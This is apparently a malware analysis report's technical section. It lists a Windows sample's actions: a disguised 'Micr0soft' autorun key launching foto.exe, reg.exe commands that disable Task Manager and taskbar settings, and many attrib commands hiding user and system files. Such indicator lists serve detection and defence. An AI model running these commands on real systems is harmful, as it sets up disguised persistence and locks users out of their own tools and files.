Technical Information
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Micr0soft' = '<SYSTEM32>\foto.exe'
- Windows Task Manager (Taskmgr)
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\16x16\tools.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\16x16\update.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\16x16\errmsg.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\16x16\support.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\24x24\arrow_green_normal.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\32x32\logo.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\24x24\arrow_green_mousedown.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\24x24\arrow_green_mouseover.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\icon_onlineinline_12x.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\icon_tours_12x.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\icon_blank_12x.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\icon_newwindow_12x.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\16x16\arrow_green_normal_shadow.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\16x16\compat.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\icon_tutorials_12x.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\16x16\arrow_blue_normal_shadow.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Common\SendVoice.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Server\StopControl.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Common\Quit.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Common\SendFile.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\sysinfo\graphics\up.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\setup.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\sysinfo\graphics\greendot.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\sysinfo\graphics\down.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\48x48\desktop_icon_03.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\48x48\desktop_icon_04.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\48x48\desktop_icon_01.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\48x48\desktop_icon_02.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Common\HelpCenter.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Common\Options.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\48x48\desktop_icon_generic.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Client\TakeControl.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\images\icon_articles_12x.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\unlock_playing_big.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\unlock_playing_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\unlock_optimized_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\unlock_playing.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Images\darkBlue_GRAD.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Images\help.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\window_up.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Images\ASPdotNET_logo.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\ul_logo.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\unlock_built.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\start_up.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\taskbar_up.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\unlock_optimized.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\unlock_optimized_big.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\unlock_built_big.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\unlock_built_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Client\watermark.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Extended\header.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Client\header.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Client\SplashScreen.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\blurbs\watermark_300x.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\pchealth\helpctr\System\DVDUpgrd\stripe.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Extended\SplashScreen.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Extended\watermark.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v3.5\Microsoft .NET Framework 3.5 SP1\logo.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ASP.NETWebAdminFiles\Images\ASPdotNET_logo.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Images\security_watermark.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Images\topGradRepeat.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ASP.NETWebAdminFiles\Images\security_watermark.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ASP.NETWebAdminFiles\Images\topGradRepeat.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ASP.NETWebAdminFiles\Images\darkBlue_GRAD.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ASP.NETWebAdminFiles\Images\help.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\config\systemprofile\Templates\winword.system"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\wpaflag.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\wpakey.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\wpaback.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\wpabtm.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Autumn.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Azul.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\wpatop.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Ascent.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\nextup.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\oemcoa.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\nextoff.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\nextover.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\skipover.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\skipup.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\skipdown.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\skipoff.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Ripple.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Stonehenge.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Radiance.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Red moon desert.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Wind.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Windows XP.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Tulips.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Vortec space.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Friend.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Home.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Crystal.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Follow.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Power.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Purple flower.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Moon flower.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Web\Wallpaper\Peace.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\nextdown.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\parism.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\pisa.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\heidelbm.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\paris.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\praguem.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\tyrol.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\pisam.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\prague.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\config\systemprofile\Templates\excel4.systeme"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\ias\dnary.mdb"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\config\systemprofile\Templates\winword2.system"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\config\systemprofile\Templates\excel.systeme"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\bulzanom.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\heidelb.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\ias\ias.mdb"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\bulzano.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\newbtm1.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\newbtm8.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\backup.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\mslogo.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\newtop1.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\newtop8.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\newmark1.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\newmark8.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\venicem.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\verona.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\tyrolm.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\venice.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\backoff.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\backover.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\html\mouse\images\veronam.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "<SYSTEM32>\oobe\images\backdown.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\safe_easy_faster_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%CommonProgramFiles%\Microsoft Shared\Stationery\Clear Day Bkgrd.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%CommonProgramFiles%\Microsoft Shared\Stationery\Fiesta Bkgrd.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%HOMEPATH%\Templates\excel.systeme"
- '<SYSTEM32>\attrib.exe' +h +s +r "%HOMEPATH%\Templates\excel4.systeme"
- '<SYSTEM32>\attrib.exe' +h +s +r "%CommonProgramFiles%\Microsoft Shared\Stationery\Maize Bkgrd.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%CommonProgramFiles%\Microsoft Shared\Stationery\Nature Bkgrd.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%CommonProgramFiles%\Microsoft Shared\Stationery\Glacier Bkgrd.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%CommonProgramFiles%\Microsoft Shared\Stationery\Leaves Bkgrd.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "C:\Documents and Settings\Default User\Templates\winword.system"
- '<SYSTEM32>\attrib.exe' +h +s +r "C:\Documents and Settings\Default User\Templates\winword2.system"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Documents\My Pictures\Sample Pictures\Water lilies.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Documents\My Pictures\Sample Pictures\Winter.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%HOMEPATH%\Templates\winword.system"
- '<SYSTEM32>\attrib.exe' +h +s +r "%HOMEPATH%\Templates\winword2.system"
- '<SYSTEM32>\attrib.exe' +h +s +r "C:\Documents and Settings\Default User\Templates\excel.systeme"
- '<SYSTEM32>\attrib.exe' +h +s +r "C:\Documents and Settings\Default User\Templates\excel4.systeme"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\FeatherTexture.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Gone Fishing.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Blue Lace 16.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Coffee Bean.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Rhododendron.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\River Sumida.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Greenstone.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Prairie Wind.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%CommonProgramFiles%\Services\bigfoot.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%CommonProgramFiles%\Services\verisign.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%CommonProgramFiles%\Microsoft Shared\Stationery\Pie Charts Bkgrd.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%CommonProgramFiles%\Microsoft Shared\Stationery\Sunflower Bkgrd.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%PROGRAM_FILES%\Movie Maker\Shared\Sample2.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%PROGRAM_FILES%\Windows NT\Pinball\table.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%CommonProgramFiles%\Services\whowhere.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%PROGRAM_FILES%\Movie Maker\Shared\Sample1.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Documents\My Pictures\Sample Pictures\Sunset.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\ball.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\beach.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\airplane.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\astronaut.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\cat.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\chess.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\butterfly.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\car.bmp"
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add hklm\software\microsoft\windows\currentversion\run /v Micr0soft /t reg_sz /d "<SYSTEM32>\foto.exe" /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t reg_dword /d 00000001 /f
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\guest.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\%USERNAME%.bmp"
- '<SYSTEM32>\attrib.exe' +s +r <SYSTEM32>\foto.exe /s
- '<SYSTEM32>\attrib.exe' +h +s <SYSTEM32>\windows_update.bat /s
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\palm tree.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\pink flower.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\kick.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\lift-off.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\snowflake.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Documents\My Pictures\Sample Pictures\Blue hills.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\red flower.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\skater.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\drip.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\duck.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\dirt bike.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\dog.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\guitar.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\horses.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\fish.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%ALLUSERSPROFILE%\Application Data\Microsoft\User Account Pictures\Default Pictures\frog.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Santa Fe Stucco.bmp"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img103.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img109.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img089.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img100.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img121.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img123.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img110.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img116.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img040.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img046.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img033a.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img034.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img072.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img074a.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img060.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img068.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\safe_easy_better_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\safe_easy_easier.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\safe_easy_better.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\safe_easy_better_big.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\safe_easy_faster.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\safe_easy_faster_big.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\safe_easy_easier_big.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\safe_easy_easier_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img149.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\intro_logo.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img126.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img136.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\question_icon.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\read_icon.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\logo.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\pen_icon.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\img033.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\best_secure_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\connected_data.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\best_secure.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\best_secure_big.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\connected_multiple.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\connected_multiple_big.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\connected_data_big.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\connected_data_ghost.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\best_road.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Help\Tours\htmlTour\best_road_big.jpg"
- '<SYSTEM32>\attrib.exe' +h +s +r "%WINDIR%\Soap Bubbles.bmp"
